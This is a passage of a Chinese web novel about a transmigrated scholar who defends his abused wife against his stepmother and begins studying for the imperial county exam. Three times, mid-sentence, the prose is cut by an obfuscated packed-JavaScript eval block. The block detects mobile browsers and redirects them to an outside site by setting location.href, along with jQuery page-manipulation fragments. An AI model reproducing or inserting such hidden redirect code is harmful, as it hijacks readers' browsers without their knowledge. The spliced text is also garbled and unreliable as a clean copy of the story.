沈白蘋已经习惯了，蹙着眉回道：“三叔名讳是‘之纬’，四叔的名讳是‘之绪’。” “老爷怎么能叫三叔同你一起上课？秦先生是太太娘家请来的老师，专为给你一人授课。你答应了吗？” 段之缙坐下给自己倒了一杯茶水，“我自然是没有不答应的理由，可这个事情我答应有什么用？太太能答应吗？我说要去禀报太太，老爷就放弃了。只是没想到，我这个人还真是不讨喜，太太待我不甚亲近便罢了，到底不是我的亲娘。兄弟之间又有什么龃龉，叫三弟也不喜欢我？” 沈白蘋摇摇头，“我进门晚，这些事情都是不知的。左右不过是，不患寡而患不均，咱们院儿里的吃穿用度是除了老爷太太的院子之外，最好的了。” 段之缙叹了口气，看了看外边的太阳，该是中午了，厨房也送来了午饭，只能先用饭。 这顿午饭倒是不用劝，沈白蘋偷瞧着段之缙的神色，还是那样安静斯文地小口进食，等着段之缙放下筷子，她又试探着夹菜，段之缙看她那副小心翼翼的样儿，连连用公筷为她夹菜，好叫她放心。 刚安安生生吃了饭，春华、秋实两个小丫头笑嘻嘻的进来禀报，说是刘妈妈回来了。 “叫她进来吧。”段之缙招呼一声，刘氏进来之后也不叫她行礼，连声问道：“妈妈不要客气了，这么匆忙的赶回来，身子也疲乏，赶快坐下吧。奶姐姐身子怎么样了？” 刘妈妈坐在一张小杌子上，叫身子比段之缙低些，笑得眼睛都看不见，喜滋滋地回道：“托二爷跟二奶奶的福，翠翠生了一个大小子，一上称有六斤六两，接生婆说是六六大顺的好兆头！翠翠身子也养得很好，女婿爱重她，舅姑也把她当亲闺女待。” 这算是穿越过来之后，为数不多的喜事，一个新生命诞生，无论如何都很值得高兴。 沈白蘋是女子，自然知道生产无异于鬼门关上走了一遭，因而大大地松了一口气，又因刘妈妈素来待她极好，很多时候，她差点熬不下去，都是刘妈妈悄悄地送来吃喝，便想送给奶姐姐和那个孩子些东西。 她走入内室，从自己为数不多的嫁妆里翻出了一个事事如意金项圈配长寿锁，上边点缀着透绿的翡翠和各色珠宝，很是精致。这还是她出生时外祖家给她打的，外祖家一向将她当宝贝，如今这个深院子里没人把她当什么宝贝，这金锁也换不来东西。 转身出去，沈白蘋双手捧着项圈递给刘妈妈，“妈妈，这是我小时候带的，如今虽然旧了不亮了，但是好歹也是金子做的，送给奶姐姐让小孩子添个喜气。” 刘妈妈吓得站起身来，手足无措地看看沈白蘋又看看段之缙，“二奶奶，这……这是您带过的东西，我们这些做奴婢的怎么能要？折了那个小东西的寿。” 段之缙瞧她们来回拉扯，笑着看了一会儿，开口道：“妈妈，你奶了我一顿，蘋儿也算是你的奶闺女，你的奶闺女给小外甥添一点喜气算什么？快收下吧。” “二爷……”刘妈妈脸上涨得通红，眼儿一挤竟然落下来泪，“二爷和二奶奶待奴婢一家子这样的好，叫奴婢去死也值。” “不要说这样的话。”段之缙皱了皱眉，他还是不能适应这样的主仆之言，也并不能从中感受到多少快乐。 “我们给妈妈东西，是因为妈妈值得。不说这件事儿了。妈妈知道我之前饮酒磕到头了吗？” 刘妈妈一惊，心疼地去看，果然见额角还有些泛青，想要去摸摸又怕弄疼了他，因而手脚也不知道往哪里放，嘴里嘟嘟囔囔没完，“哎呦，哎呦，怎么这样不小心，是什么时候磕到的……” 段之缙拉着她重新坐下，“现在已经没事儿了。只是可能有些余症，忘了很多事情，要请教妈妈。” 刘妈妈自然是无有不应。 “妈妈知道，为什么太太一定要我考科举吗？” 刘妈妈的神色一变，变得哀戚起来，她拿手绢擦擦泌出来的泪，哽咽着说道：“你连这都不记得了？你外祖家是商户，家里巨富，可是士农工商，人家表面上尊重，背地里不知道说了多少的闲话……” “可是官吏们多有为难？” “那倒不至于，我和你母亲身边的许嬷嬷都是王家的家生子。王家什么情景我们多少知道些，王老爷是有名的大善人，不知道捐了多少善款，知县老爷都与他相熟呢！只是背地里的话不好听。太太她从小便傲气，王老爷安排她嫁给咱们老爷，就是为了叫她从此不再是商户女。结果……” 结果段成平用了王家的银子，住着王家买的宅子，婚后却这样对待王虞。 “他根本考不中，纹哥儿五岁的时候，他外祖花了整整五万两，给他捐上了吏部员外郎的缺，是实在掌权的官职。” 可是他不知道感激，愈发的贪婪…… “你祖母那个时候还活着，刚得了官儿就觉得娶了我们商户女不体面，就想磋磨死太太，霸了她那一大笔嫁妆，好叫老爷另娶。那个时候纹哥儿都整整六岁了，他也舍得叫孩子没了娘！” “后来呢？”段之缙理性上还是厌恶王虞，她把自己的苦难加诸他人，可她自己的苦难呢？却没有一点儿办法报复回去。 “太太被关在柴房里，他们这些畜生只许送清水，想要叫太太活生生饿死。还是太太身边的丫头夏春偷来了钥匙打开柴房，又带着太太走过那么长的路，叫太太踩着她的背翻到外边去了。结果夏春却被活生生打死了。”刘妈妈说到这里，已经泣不成声，王虞是她的小姐，虽然傲气些，但待她们这些下人真是再好没有了，如今却变成了这幅样子。 “太太一路跑一路喊，把老爷花了王家五万两银子捐官的事情和住王家宅子的事情闹得人尽皆知，又求人给父亲去了信儿，这才能成就现在貌似相安无事的局面。只是这样一闹，她的名声也完了，太太便再也不愿意出门。不过……老爷的名声也完了，从那之后不可能再升官。” 她说着，又似回想起了什么，突然展露出一个笑容，“纹哥儿可好了，小小年纪，就跟他娘说，以后要考状元当大官，叫太太封诰命，风风光光地出门。只是后来……” 只是后来这一切都成了空话，夫人千求万求留不住儿子的命，施姨娘的儿子倒是活了下来。她不恨的，人各有命，她没有那个命罢了。可是她忍不了，陈锦绣那个贱人，纹哥儿刚死，消息刚传出去，她就带着她那个下贱种跑到主院里，说叫那个下贱种认自己做母亲…… 笑话！王虞在这个院子里蹉跎了多少的时光，吃了陈锦绣多少的亏，这才混到了这样的局面，她怎么看不出来陈锦绣那双眼里射出来的贼光？认自己做母亲，但是养在她的逢春院里，全都是盯着自己的钱！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905997|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她之后也不会有儿子了，老爷已经几年没有进过她的屋子。就在这时候，住在听雪堂的施姨娘牵着十岁的儿子走到王虞的面前，“缙儿的一条命，都是夫人救下的，夫人若是不嫌弃缙儿，就叫缙儿养在主院里，只当是夫人亲生的孩子。” 施姨娘，小施…… 她是个最好的女孩，当初段成平非要与王虞同房时，是小施上前阻拦却被段成平瞧上了。她一家子的卖身契又全都捏在父亲手里。再说了，就凭自己救了段之缙的一条命，若他将来不认自己，礼法也饶他不得。 缙儿，你成了我的儿子，就要为我挣一个诰命来才是…… 死去的儿子的愿望被强加在他的弟弟身上，王虞一举一动都是为了叫段之缙读书、习文，日后高中做一番事业出来，好叫自己得封诰命，日后风风光光地出去。 一开始只是一个想法，后来在这个深宅大院里边，好人都能给逼疯了。王虞愈来愈紧张，她怕所有人都没有良心，于是小施见不到儿子。她怕段之缙也没有良心，于是养的他畏手畏脚，只敢听自己一个人的话。她觉得沈白蘋的母家不能给段之缙带来助力，于是就要折磨死她叫段之缙另娶。她变来变去，变成了段成平母亲的模样，折磨死儿媳，叫儿子娶一个体面的女人进来。 段之缙看着刘妈妈泣不成声，心下感慨万千，如今到了这个地步，原身欠王虞的那条命都得自己来还，看来这个科举是不得不考，这个诰命是不得不争了…… “好了妈妈，莫哭了。”段之缙递出去一条帕子，哄着刘妈妈擦了眼泪，又开口道：“我都知晓了，母亲也是可怜人。” 只是屠龙者，终成恶龙了…… “太太可怜，却不及施姨娘可怜……只可惜施姨娘是妾室，封不得诰命。” 段之缙哭笑不得，怎么连县试都没考，一个个就笃定自己一定能叫母亲封上诰命呢？ 刘妈妈眼一瞪，又漏出一点儿神秘的笑来，“二爷以为我是奶妈子看着自己的奶儿子好？你妈妈我记得清清楚楚，施姨娘还是个闺女的时候，陪着还做小姐的太太上街，隆兴路上有一个算命的神仙，他算什么都准！当时一分钱都没要，指着施姨娘说，‘你是有大造化的！生个儿子日后要做大官哩！’” “我记得清清楚楚！”刘妈妈信誓旦旦，结果说了一套封建迷信出来。段之缙只觉得好笑，可也真是叫自己得了一点安慰，从桌上抓了一把果子，赶紧塞到她的手里叫她退下。 沈白蘋见他一言不发，忍不住问道：“算命的说的那番话，二爷不信？” 段之缙苦笑一声，“我信什么？我现在县试能不能过都是问题，当大官还早着呢？”他瞧沈白蘋面上还带着一副苦样，小小年纪，这般多愁，便忍不住要逗她一逗，“你刚听了神仙说我要做大官，便等不及做官太太了？” 沈白蘋听了脸上都要滴下血来，她杏眼瞪得溜圆，想要嗔段之缙一句，可长久以来的习惯又叫她没那个胆子，呼呼喘了几口气，只能嗫喏道：“那要看我有没有这个福气，借上二爷的势。” 段之缙见她有了几分生气，更要哄着她说笑，又讲笑话又逗乐子，把沈白蘋闺阁时养出的活泼劲儿都逼了出来，这才有点儿像十八岁的女孩。 两人正闹得欢，没瞧见太阳已经西下了，春华摆着一张哭丧脸进来，张口便叫沈白蘋脸上没了血色，“夫人……夫人叫二奶奶去主院伺候她用晚饭。” 5. 第五章 嫡母算计 沈白蘋刚才那一股活人气儿荡然无存，也许是刚才的段之缙太好，她忍不住将求救的眼神望过去，又急忙反应过来，自己这个丈夫，最是听太太的话，看他也没有用。 可是今日，终究是不同的。 沈白蘋刚一转身，手腕便被一个宽大的的手牵住，沉静的声音从后边传来，“是许嬷嬷来叫的吗？” 春华一愣，摆了摆头，“不是许嬷嬷，是太太身边的一个小丫头彩衣。” “你去告诉她，我做儿子的，没有伺候过母亲用饭，实在是过意不去，今日与二奶奶一起去伺候太太。” 春华脸上带着惊喜，狠狠点了一下头，连忙出去说。 “夫人。”段之缙将傻愣愣的沈白蘋唤回神，理了理有些散了的头发，“我说过不叫你在段家受委屈，你就不必害怕。” 明明还是往日那个人，沈白蘋却近乎看呆了，不由自主地点了点头，跟着段之缙一起去了主院。 夫妻两个一起给太太磕头问安，王虞脸儿一黑，恼怒又瞬间消失的无影无踪，她并不叫两个人起身，只疑惑道：“早上来了一次，现在不在屋里温书，又来我这边儿伺候干什么？” “回太太的话，‘人之行，莫大于孝’，儿子若不能孝顺母亲，岂不是白读了圣贤书，白做了一番人？” 王虞冷哼一声，“我是说不过你这个读书人，只盼望你读的这些书用到正途上，不要明年叫母亲空等一场。” “是。” 沉默无语，几个人等了片刻，小丫头们穿着鸦青色的衣裳，下边衬着藏蓝色裤子鱼贯而入，杯盏碗碟，将一个圆桌摆的满满登登。 许嬷嬷招呼彩衣端来水伺候着几位主人净手，王虞便坐在了主位上。 不等人吩咐，沈白蘋熟门熟路地倒了一碗清茶准备侍候太太漱口，可手里的花神茶碗被段之缙接了过去，“这茶碗是要干什么？” 沈白蘋偷看一眼脸色不好的嫡母，抿着唇道：“是为太太漱口的，二爷，还是叫我来吧。” 段之缙朝她一笑，端过茶碗“噗通”一声跪下，茶碗高高地举过头顶，大声道：“请母亲漱口！”只是漱个口罢了，他闹这一番大动作，王虞尴尬地嘴角抽搐，咳了一声才接过茶碗漱口。 段之缙又抢着把痰盂捧过来，又是郑重其事地跪下请母亲吐出来。 没两下王虞便受不了了，一脸不耐烦道：“行了行了！快起来吧！你这个大孝子，母亲看着都累得慌。” 沈白蘋瞧着他俩这一遭，仍是抿着唇，只不过是为了憋笑。 漱完口，段之缙又抢过沈白蘋手里的公筷，手脚麻利地每个菜都夹了一大筷子，将王虞的如意小碗塞得冒起来尖儿，乱七八糟的菜混在一起，实在倒胃口。 “缙儿，你也坐下吃饭吧，叫你媳妇来布菜是一样的。”王虞被他这一番举动闹得头都大了。真是奇怪，这个孩子良心发现知道体谅他亲娘不足为奇，怎么连这个妻子都照顾上了。王虞不是傻子，段之缙这样巴巴的跟着，不是为了沈白蘋还能是为了谁？ 段之缙义正言辞地拒绝了，“太太，儿媳尽孝是儿媳孝顺，儿子尽孝是儿子孝顺。今日是儿子向您尽孝，怎么能自己坐下吃饭呢？” 王虞看他真是不为所动，面无表情，只叫沈白蘋先回去，自己要和“缙儿”说些体己话。 沈白蘋面带忧虑地回了自己的院子，屋子里就剩下“母子”二人。 “缙儿……我真是搞不懂你了。你媳妇这个事情，咱们不都说好了吗？” “儿子不知道母亲的意思。” 王虞冷哼了一声，面带讥讽，“我真是白做了一顿恶人，倒成了打鸳鸯的大棒了。沈白蘋的外祖母孝淑夫人已经去世，连带着杨家也垮了。她的母亲杨氏抑郁而死，父亲紧跟着续弦，连着一年不曾问过她一声。娶了这样的妻子对你有什么用？她若是像母亲一样有金山银山也就罢了，可她那点嫁妆，算什么东西？等着沈白蘋没了，母亲再下重金，为你聘来蒋育成先生的女儿不好吗？” 蒋育成是淮宁省籍的进士，为官才五年便无法忍受官场黑暗，辞官回乡去了，在过江的时候船被打翻，幸得王老爷出手相救才保全了性命。他是名震淮宁的名士，便是在京中也有他许多的旧友，若不是救命之恩，王虞如何敢想这样的人家？ 段之缙挺直了腰板跪在地上，直直地看向王虞，低声说道：“太太，当年祖母也是这样想的吗？将您的命填在这个深宅大院里，再为父亲聘一个更体面的妻子。” 他轻飘飘一句话，王虞目眦欲裂，一个巴掌狠狠地甩上了段之缙的脸，近乎咆哮道：“你怎么敢这么对我说话！” 段之缙身子都没打一下晃，继续道：“便是我任由太太折磨死了蘋儿，太太为我聘娶了蒋家女，等着蒋家女无甚用处了，是不是又要折磨死蒋家女为我聘娶别人家的女儿？” “若我是这样的男人，太太实在不该信我……终有一天，等老爷能为我带来更多利益时，今日之沈白蘋不过是明日的您。儿子读书明理，为官也要上不愧于天，下不愧于地。结果今日便愧对了自己的良心，日后即便是封疆大吏，母亲一品诰命，咱们这个家也有出事儿的一天。” 王虞冷森森的眸子盯住段之缙，她并不回应刚才的话，“缙儿……段之缙……你真不像你父亲的种。他那样的男人竟然配有你这样的儿子。只是你变得也太快了些，真不像你。” 段之缙并不想隐瞒什么，实际上也没有什么好隐瞒的，“太太，儿子跟你说实话，自伤到脑袋之后，很多事情，连着这么多年读的书，儿子全都忘了。” 这句话不啻于一声炸雷，王虞只听到了“多年读的书，全都忘了”几个字，瘫坐在椅子上，眼睛里的神采也渐渐散去。 那明年二月的考试…… 今年段之缙已经十八岁了，从六岁开始读书，十岁自己给他请了名师教导，前不久夫子才信誓旦旦地保证，明年下场一定能中，结果竟然全忘了。 难道还要再等八年吗？ 王虞的泪水都簌簌地流了下来，八年……她究竟还能不能等得八年？ “太太！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905998|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”段之缙跪行上前，“不到下榜的那一刻，谁都不能断定儿子过不了县试！” 段之缙的语气里说不出的庄重，近乎信誓旦旦。 “您先别急着丧气，还有七个月呢。七个月未必不能有成效，何况若是此次不中，后年二月份还能再考，那一次一定能中!但是太太，你一定……一定要全然听我的安排。” 王虞似乎被他的镇定感染了，泪水也渐渐止住，她退到屏风后边处理妆容，声音飘忽忽地传过来，带着一股破釜沉舟的狠意，“左右到了如今的地步，我想叫纬儿当我的儿子也晚了，谁也没开天眼，就知道我如此不幸摊上了这样的事情。罢了……我只给你三年的时间，你若是三次都不成，索性你四弟的生母难产而亡，他也愿意来当我的儿子。” 段之缙称是，他抬起头看着屏风里影影绰绰的身影，心里很清楚，嫡母除了自己根本没有其他的选择，段之绪今年似乎才十一二岁，因为生母早逝九岁才开蒙，除非他是天才，否则五年之内根本没有什么希望。 但是嫡母需要制造一个假象，他不是唯一的选择。 “你需要什么，尽管开口，只要是钱能弄来的，京城没有我从淮宁弄，淮宁没有我从全天下弄！” 段之缙再一拜，“儿子谢过太太，明日儿子正式开始读书，需要蘋儿在我身边，请太太不要再叫她来伺候了。若可行，能否请太太将安平县本任县令就任以来能得到的县试考题找寻给儿子，并将通过县试士人之答卷内容也为儿子寻来。” 屏风里王虞只冷哼一声，半晌才阴阳怪气道：“你倒是痴情的种子……罢了，从了你，回去的时候将丫头萃佩也带回去，替我照顾你，有什么想要的就跟她说，她会报与我。” “儿子还有一个请求，求太太开恩，儿子实在放心不下姨娘，若是姨娘出了主院，万望太太垂怜，差人跟着姨娘别叫她遇着了险。” 王虞不知为何沉默了下去，布着细纹的眼角倏忽间落下一颗泪，很快陷在厚厚的脂粉里，她的嘴唇翕动，半晌，才痛苦地说了一句，“要是我的纹儿还活着……”话只说了一半，后半句被吞下，她想说什么呢？或许她的纹儿还活着，也像段之缙这样记挂着亲娘。 “我答应你，必不叫施姨娘遇险。在我这儿吃了饭，然后回去歇着吧。” 段之缙与她纠缠许久，现在也松了一口气。王虞的下一句话却叫他脸色涨红。 “只是还得叮嘱一句，我知道你们这些读书人，读累了说不得要做什么下贱的事情。你和你媳妇朝夕相处，小心把身子掏空，萃佩要是回来跟我说你的身子虚了读不了书，我就当着你的面打死你媳妇。” 段之缙尴尬地头都抬不起来，咳了一阵如蚊虫般回道：“儿子谨记。” 王虞终于收拾好了，刚才的饭一口没吃，肚子里空落落的难受得紧，但看着那堆在一起的菜码真是恶心，只舀了一勺鸡丝瑶柱粥吃，段之缙倒是不嫌弃，从地上爬起来之后端起自己堆在一起的菜就吃，动作极快，没一会儿他就吃饱退了出去，回到了自己的致知斋。 6. 第六章 夫妻谈话 “二爷！”沈白蘋如早上一般倚门而望，遥遥看见了他的身影便急忙提着裙摆疾走过去，瞧他神色莫名，总不敢正眼看她，心中便生疑。 该不会……该不会又成了原来的样子吧？ 沈白蘋想着，头低低地垂下。 若是段之缙一辈子是个王八蛋，她也不会盼望，不会有不切实际的幻想，更不会如此刻这样忐忑。 算了，女人都是这样过的，王虞小姐成了现在的“太太”，自己熬过去生下来孩子，或许也会变成一个“太太”吧。 她这里耷拉着头胡思乱想，段之缙也是看见她就不自在。 “淘澄空了身子……打死她！” 这句话一直在他脑子里回荡，叫人想想就尴尬。 段之缙瞧着这个女孩心里发麻，酝酿了好长时候才开口道：“我跟母亲商量好了，从明日开始，你就在致知斋伺候我读书，不必再去主院侍奉母亲了。” 这一句话不啻于一声白日炸雷，沈白蘋傻痴痴地愣在了原地，面上只有一片茫然，“真……真的？” 段之缙瞧她的傻样便觉好笑，点点她的鼻子回道：“这还能有假？我说瞎话唬你，能得什么好处？” 沈白蘋被他亲昵的动作羞得脸红，刚才的欣喜一块儿涌上来，叫她桃花瓣儿一样的嘴唇勾起来一个弯儿，又不可控制地撇下去，泪水一滴滴掉下，沈白蘋的手里绞着自己裙边，弄着绸子上全是指痕。 喜到极处，巨大的苦闷和难过笼罩了这个不过十七岁的小孩。那些立规矩的日子，整日站在嫡母身边侍奉汤水，但凡热了冷了，轻则挨一顿训斥，重则便要去祠堂跪着。有些时候太太心情不好，自己被关在祠堂里两日，只有刘妈妈能溜到这边的时候，才能吃上点儿，喝上点儿。若太太心情再不好，自己还需晚上去陪侍，就趴着睡在脚踏上，人家要喝水要起夜，全都得自己亲自去伺候，不能有片刻的安歇。 这些苦日子，竟然就这么到头了…… “哎呦，哎呦，怎么哭了？”段之缙看着她闷着声哭，这下子真是手忙脚乱了，小丫头们一个个着急忙慌不顶用，还是从主院带回来的萃佩姑娘拿了自己的绢子给沈白蘋擦泪，嘴中哄道：“二爷照顾二奶奶，心疼二奶奶在太太身边立规矩，这才求了太太不再叫奶奶往主园去伺候了。现在奶奶哭成这样，倒显得二爷做错了什么。即便不是那个意思，奶奶进门都两年了，如何还跟孩子一般哭哭啼啼呢？全叫二爷看了笑话。” “我可没笑话她！”段之缙听了连忙摆手，绝不叫嘲笑人的名声担在自己脑袋上。原本还慌慌张张的小丫头也停下来看着小夫妻两个人偷笑。 沈白蘋握着萃佩的手擦泪，又抬头瞟一眼急得脸红脖子粗的段之缙，确有些不好意思，因而强忍住泪水背过身去擦净了，这才回身，眼睛下垂着，脸红扑扑地不敢看丈夫。 哭了一场，头抬着还得往前看，过去的日子就是过去了，不应叫它困住活人。 沈白蘋再也没有了那些担忧和恐惧，安安生生地坐在桌子旁，一口一口地用饭，不用去管汤水的凉热，也不必去看往日丈夫搁下筷子与否。哪怕叫段之缙看着，她吃得也自在极了。 外边的太阳终于疲惫地沉下去，洒下赤金色的余晖，宣告一天结束了。 古代，尤其是京城里，夜生活并不枯燥，只是他们二人不可能出宅子逛街，只怕一出院门就会叫母亲知道，到时候委屈的又是妻子和娘亲。 早早地洗漱完，除了躺在一块儿睡觉，真也就没有别的事儿能干了。 夫妻二人躺在床上，沈白蘋想着白天的事情，心中说不尽的欢喜和感激，尽管她的痛苦有很多都是丈夫的不作为造成的。倾过身子，沈白蘋感激地依靠在丈夫的肩膀上，自己也羞怯地很，因而也没去注意身边的人跟木头一样，僵硬的不得了。 “二爷……”沈白蘋细声唤，说出来的话像是在清泉水里泡过一般，轻轻盈盈的。 “我一定伺候好二爷，不给二爷添麻烦。” 段之缙咳了两声顺势把身子背过去，又往床里边拱了拱，以为她在暗示自己行房，因而故意吓她道：“你小心点，母亲说了，要是你淘澄空了我的身子，她可要打死你……” 刚说完，胳膊上就被打着旋拧了一下肉，便听得一个清凌凌的声音带着着急和恼怒，“二爷也太不要脸了些！我几时说……说要那样了？” 沈白蘋羞得脸上发烧，外边昏昏的灯光透过密实的帐子，将她飞扬的神色映到段之缙眼里。 “我不敢跟你躺一张床了，我去外头睡！”沈白蘋瞧他看着自己出神，更是羞得眼含水光，抱着被子便要睡到外间去，动作间纱被掀来掀去，布料带来一阵风，把她身上暖融融的香气吹出去，直扑到段之缙脸上。 段之缙嗅得一阵暖香，不自觉地拉住了赤着脚要下床的女子，眼神显得更呆愣。 手腕上的大手带着火热的温度，简直要烫掉沈白蘋的一层皮，她更是羞怯，急得都要哭出来，“你……你放开……”体面的夫妻，两人应当相敬如宾才对，他怎么能对自己说这些话呢？ 段之缙急忙松开，盯着被子上的万福纹开口，“外间没冰，会热着了你，还是睡在这里吧……我绝不再说这些话了。” 他也不知为什么要开口留人，也许是叫人家一个女子睡到外间去一点都不绅士，即便是出去也该叫自己出去睡。 “你要是不愿意，我就去睡外间好了。” 只是他嘴上说着，半天也没个举动，沈白蘋背对着他喘匀了气回头望，他才惊醒般地拉扯被褥，似是真的要收拾东西去外间。 “二爷！”沈白蘋轻扯了他的袖子，“外间没有冰……还是留下来吧。” 段之缙最是会顺杆儿爬的人，外头又确实热得很，便顺势躺下来，只是现在气氛怪异更是叫人热汗直流，本想活络活络氛围，一开口却又说错了话。 “我便知道夫人舍不得我。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905999|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”沈白蘋这会儿真是急了，白莹莹的手攥成一个拳头捶在段之缙的胸口，一时也不知道如何发火，幸得她脑筋转得快，没一会儿便村儿了回去。 “怎么敢叫二爷睡到外间去，要是叫暑气淘澄空了二爷的身子，母亲还不得打死我。”沈白蘋伶牙俐齿地将刚才的话还给他，段之缙连连求饶，言说再也不敢讲这些“非礼”之事了。 两个人终于又安静下来，只是沈白蘋脸上还发着烧，段之缙是见过世面的人了，哄好了孩子又开始琢磨起明天见夫子的事情。他想着明年二月县试的事儿，突然开口问道，“蘋儿，你识字吗？” 沈白蘋幼时长住在外祖家，心肝儿肉一样的爱重，一切都比照着男孩的来，六岁便启蒙读书，跟着表兄弟们上学堂，学的也是四书五经、经世致用的道理。只是他们杨家不在乎女孩儿习文识字，别人家可不一定，现下又爱讲“女子无才便是德”的说教，生怕叫女人读多了书知晓了世间的道理，便能够和男人讲两句，更不愿意叫女人读书。沈白蘋犹豫一会儿，指甲陷在柔软的掌心，带这些怅惘地回道：“略识得几个字，能看看账本子罢了，书是一概不知的。” 段之缙这时候还不懂得这些弯弯绕绕，以为大家是一根藤上的蚂蚱，能掏心掏肺说实话，对此大为可惜，“本还想叫你同我一起上课……能写字吗？” 读书……沈白蘋的心砰砰地跳了起来，这个词已经离她的生活很远了，“自然是能的，叫我去给二爷伺候笔墨也成！”她激动得声音都劈叉了，带着急切的尖细劲儿。 “我有松烟，要你来伺候笔墨干什么？”段之缙忘了刚才的教训，又开始逗她，声音拖得长长的，“我要你来……” “二爷叫我做什么？” “我要你同我一起上课，将夫子讲得东西记下来，你能吗？” 沈白蘋郑重其事地回道：“二爷，我一定一字不落地全记下来。只是……只是夫子愿意让我进去吗？” “他愿不愿意说了可不算，母亲已经许了我，这七个月全凭我做主。” 真好…… 沈白蘋躺在床上暗暗地想，看来“福兮祸之所依，祸兮福之所伏”，真是有几分道理。当年段家下了血本聘自己，连嫁妆都能不要，原以为是一个好去处，没想到掉到了狼窝子。二爷磕着脑袋，连着几日不曾转醒，本以为要挺不过来了，自己就算一根绳子吊死，也不要再熬着被嫡母折磨，没想到二爷醒来却是变了一个人。 或许自己这一生，真的可以托付给身边的这个男人。 “从明天开始，你跟着我一块去读书，我今天瞧着房里的那个双喜鹊报喜的屏风很好，又透光又模模糊糊地看不清里边，明儿早上就叫小子们搬到上课的正堂上去，你在后边上课，我在前边上课……” 两个人细细地商量着明天的事儿，外边的天也渐渐黑到了极处，屋内的声音越来越小，两个人打着哈欠，都迷迷糊糊睡了过去。 第二天，就要来了。 7. 第七章 论战夫子 天还蒙蒙亮的时候，段之缙就睁开了眼，吩咐松烟带着小子们将上课的正堂重新收拾一番，另置了一张屏风和一套桌椅，供沈白蘋读书记录之用。 等着沈白蘋也收拾好了的时候，夫妻二人好生吃了个早饭，段之缙今日头一回见夫子，还有些紧张，因而进得比往日慢许多，有些神思不宁。 “别担心……”沈白蘋纤纤玉手握住了段之缙攥成拳的手，脸上带着叫人安心的笑，“二爷之前跟我讲过，夫子最是和蔼可亲的人，从不故意为难与你。” 这还是刚进门，两个人正浓情蜜意的时候榻边细语，后来便不曾对着她说过什么了。 “我倒不是担心这个，只是做学生的什么都忘了，夫子的心血也是白费了。” “这也不能怪二爷不是？还是多吃些，等会儿好生应对夫子才是。” “你说得对。” 两人用完饭来到正堂静坐，没一会儿便有一位身着暗青色长袍，别着一个烟斗的中年男子走进正堂，眉头紧缩，面上却无多少表情。 他身形瘦削，声音洪亮，也没用多大气力便问话声便响彻了整个正堂。 “我听你母亲传话来，磕着脑袋后习的书都忘了？” 夫子虽然心里着急，但语气里还是平常的问话，反应都不及书童松烟的大，惊疑的目光在二爷身上徘徊。 段之缙连忙起身施礼，深深鞠了一躬，屏风后的沈白蘋虽不会被瞧见也起身施礼，以示尊重。 “全是学生的不是。” 先生点点头，似是觉得太严肃，想要活络活络气氛，又问起可还记得先生的名讳。只是他眉头仍然紧蹙着，声音也平正得很，倒像是在质问。 “是学生之过……” “好啊你个段之缙，连教了你八年的先生名讳都忘了。不过既然我们这回儿是从头再来，那为师也就从头再说一次，这回儿绝不许再忘！” 先生将腰间的烟斗取下，段之缙身边常使唤的松烟立刻便上前去点，烟草的气味逐渐弥漫开。 “为师姓秦，讳慎之。秦慎之。” 段之缙再施一礼，口中唤道：“段之缙见过秦先生。” 这一礼，是他科举路程的开始…… 也算是重新认识了一番，秦先生首先问询了段之缙现在的水平。 “四书知道多少？” “只朦朦胧胧记得一点罢了。” “考试的时文和论还会写吗？” “学生惭愧，一概不通……” “既如此，先写两笔字给我看看。” 段之缙铺开纸张，提笔写字，幸好前世为了赚钱，迎合那些喜爱附庸风雅的人，也学了一手好毛笔字，繁体字读写也是没问题。后来自己成了被人谄媚的对象不再去迎合别人，也坚持了下来，把书法当做了一个放松身心的方法。虽不敢称是什么大家，可也拿的出去手。 他前世得有四十余岁了，练字近二十年，和原身的岁数差不多大，因而在秦先生眼中已经是很拿的出去了。 “你如今的字倒是很有味道了，欧体有模有样，不错……也算是因祸得福。” 能没有味道吗？段之缙苦习欧体楷书，字虽不敢同先贤比较，在同辈人里也算是佼佼者。 “那为师给你定一个计划，三年后，今年是崇德十六年，崇德二十年下场考县试，然后咱们一举成功，院试也不必再等，直接下场如何？” 段之缙恭敬道：“回先生，学生不才，仍想明年二月下场。” 秦慎之一愣，脸上立刻有了不赞同，“你忘得这样多，七个月如何能下场。便是连日带夜，给你算成是十四个月，能把四书五经读通读透已经是万幸。再说，你还年轻得很，何必如此急躁呢？便是再拖上四年五年也不妨事。” “可是母亲和施姨娘拖不得了。”段之缙神色如常，又起身向秦先生施礼，“先生容禀，学生心中若是没有一二分成算，断不敢口出狂言想要明年下场。请先生听我详述。” 